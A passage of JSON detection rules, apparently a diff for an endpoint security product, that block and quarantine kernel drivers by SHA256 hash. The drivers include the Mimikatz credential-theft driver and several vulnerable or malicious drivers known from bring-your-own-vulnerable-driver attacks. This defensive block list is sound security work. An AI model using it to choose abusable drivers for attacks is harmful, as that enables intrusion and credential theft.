+  "id": "3a91bd9d-f542-53e0-b2a2-d05f717967f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971069Z",
+  "creation_date": "2026-03-23T11:45:29.971073Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971080Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3afd07a7775c13bf147b3ea25fd8fde7cce51bab90753b5af44dc2945d64d699",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a97ea3f-c467-5e68-9cc8-95d7d25bc220",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977961Z",
+  "creation_date": "2026-03-23T11:45:29.977963Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977969Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae5cc99f3c61c86c7624b064fd188262e0160645c1676d231516bf4e716a22d3",
+  "comment": "Vulnerable Kernel Driver (aka LgDCatcher.sys) [https://www.loldrivers.io/drivers/a8e999ee-746f-4788-9102-c1d3d2914f56/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a982bd1-a4e9-5184-a840-8443a45600b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819704Z",
+  "creation_date": "2026-03-23T11:45:31.819707Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819716Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1409728d31fe9f8921a9380dd206ab61688c3a67c5b508bf5bbecf4b93bd5c7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a985471-8966-5069-b6bb-bbb46f191caa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982236Z",
+  "creation_date": "2026-03-23T11:45:29.982238Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982243Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a91d6e83b8fdec536580f6617f10dfc64eedf14ead29a6a644eb154426622ba",
+  "comment": "Vulnerable Kernel Driver (aka KfeCo11X64.sys) [https://www.loldrivers.io/drivers/76b5dfae-b384-45ce-8646-b2eec6b76a1e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3aa1e839-aa57-533a-979d-c2180e1a2456",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824543Z",
+  "creation_date": "2026-03-23T11:45:31.824546Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824552Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c265291f7d561017b9c60e372e5f8e4e1ccf0009d288776b3e21084d3c392798",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ac571cf-513e-5a91-b099-3177cc7754e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146341Z",
+  "creation_date": "2026-03-23T11:45:32.146344Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146349Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a282ba45dd3727203ba40cc8f5f79167bb2d461fe294a49557f4667db1e05658",
+  "comment": "Malicious Kernel Driver (aka driver_bfcbc010.sys) [https://www.loldrivers.io/drivers/dbfcce10-76a3-44a4-a9b8-d7126152a235/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ad8e293-1a23-5378-abdb-b81ddb0a03a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485163Z",
+  "creation_date": "2026-03-23T11:45:31.485166Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6cee8e34dbc221dbb841c0f89db36e70625cebcb4002058aa0af2d34d7ac6b74",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ae472ba-a480-59b5-bf71-ae3a3880b73e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609980Z",
+  "creation_date": "2026-03-23T11:45:29.609982Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609987Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34f36a59ecf6174eeac15994e54c41fe1e3e3b1eee8ed4c399ec8c63212373d7",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3afbd620-96f2-5039-b74a-5a8f9b49e012",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615832Z",
+  "creation_date": "2026-03-23T11:45:29.615834Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615839Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c22b7f65de948fdb74ffc3b5bae68f109bf7404a154ddbfa25dfd53e1bde667",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b03c9d7-2107-5d87-a0e3-acaa6792a378",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831802Z",
+  "creation_date": "2026-03-23T11:45:30.831804Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831819Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e99507bfbaf16bc39a59e570226a898b26e2a9ce276c0a79aa4a65e7f6e2b17",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b0a2646-a464-5600-9e91-ce5383bedd98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822547Z",
+  "creation_date": "2026-03-23T11:45:30.822549Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822554Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "00b3ac33836f15ea53e81746ffa7c2888dc3c98492b59a97ba5a0a64166900d0",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b143314-d580-56ca-bb65-5ec525d04cca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815041Z",
+  "creation_date": "2026-03-23T11:45:31.815045Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815053Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6925affc3b3e3bcdc1cc92d1f816a613be9de35e28db36d4cce9481f28dbbca1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b2caa4d-43b4-5e0e-9ef5-37bc41817998",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816416Z",
+  "creation_date": "2026-03-23T11:45:30.816418Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816424Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "458efd66c94cd83cbd190d72c329b6c0cec3387802db8ca3cd530a84f80ce2b8",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b3f2274-1436-5f86-9479-60c508fb399a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481767Z",
+  "creation_date": "2026-03-23T11:45:30.481769Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481775Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8c33314792854eef6c6cc4bd1cc4b00f1feed35e8bd260dd4ab0d93b1f6165af",
+  "comment": "Vulnerable Kernel Driver (aka cg6kwin2k.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b438020-6411-5c7b-8fa8-c8609f04a31d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148277Z",
+  "creation_date": "2026-03-23T11:45:31.148279Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148284Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "157e7334c5e7655ae0c107bfde777aa5d6b0c3176f97f2994761993d418814f8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b47fca2-2199-5fbf-99f4-aefd677d2164",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812240Z",
+  "creation_date": "2026-03-23T11:45:31.812242Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812248Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3fc5a4b5ef0e979b1d16e4f6a2a766edfd1b9e80228bc0892db3f9e6adffc96e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b4c9874-7466-54ff-bb27-3320f948a34f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146564Z",
+  "creation_date": "2026-03-23T11:45:32.146566Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146572Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a6deeea6607a7da9c8b4087d1424aac6dbbe70831e93c835b5a9e4a80ae59f28",
+  "comment": "Malicious Kernel Driver (aka driver_a6deeea6.sys) [https://www.loldrivers.io/drivers/f694c0e1-b75d-4c41-acbd-a87b72d8abe4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b4dcfa9-d9ae-5aa1-8fcc-ff0fe841a1df",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604355Z",
+  "creation_date": "2026-03-23T11:45:29.604357Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604363Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b",
+  "comment": "Vulnerable Kernel Driver (aka STProcessMonitor.sys) [https://github.com/ANYLNK/STProcessMonitorBYOVD/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b5495be-6a61-5fd4-b71b-4e4cd3e53830",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622616Z",
+  "creation_date": "2026-03-23T11:45:29.622618Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622623Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31f4140c12ac31f5729a8de4dc051d3acd07783564604df831a2a6722c979192",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b5620ad-f93a-5301-8f1f-e37ccbc282f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152686Z",
+  "creation_date": "2026-03-23T11:45:31.152688Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152693Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d2e499e573f90ae279f381b952ff76b6d43ac34855946e2a0a79bdbd4ae2165",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b5d14c4-80a1-557e-a4ac-c69502851596",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147165Z",
+  "creation_date": "2026-03-23T11:45:31.147167Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147172Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e95946ab82b3992a3f89a25e6e67f08ab2d086e7ba6f2d8efff2cca76b96f407",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b61727e-27a8-5ece-995c-622986c6c3d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605174Z",
+  "creation_date": "2026-03-23T11:45:29.605176Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605181Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "08b1b690730707fe4c04d4a8e05e229a58ef2bb7cdf8930c6a34c7ea4983c93d",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3b6a026c-042e-5646-8575-29a40078c2cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
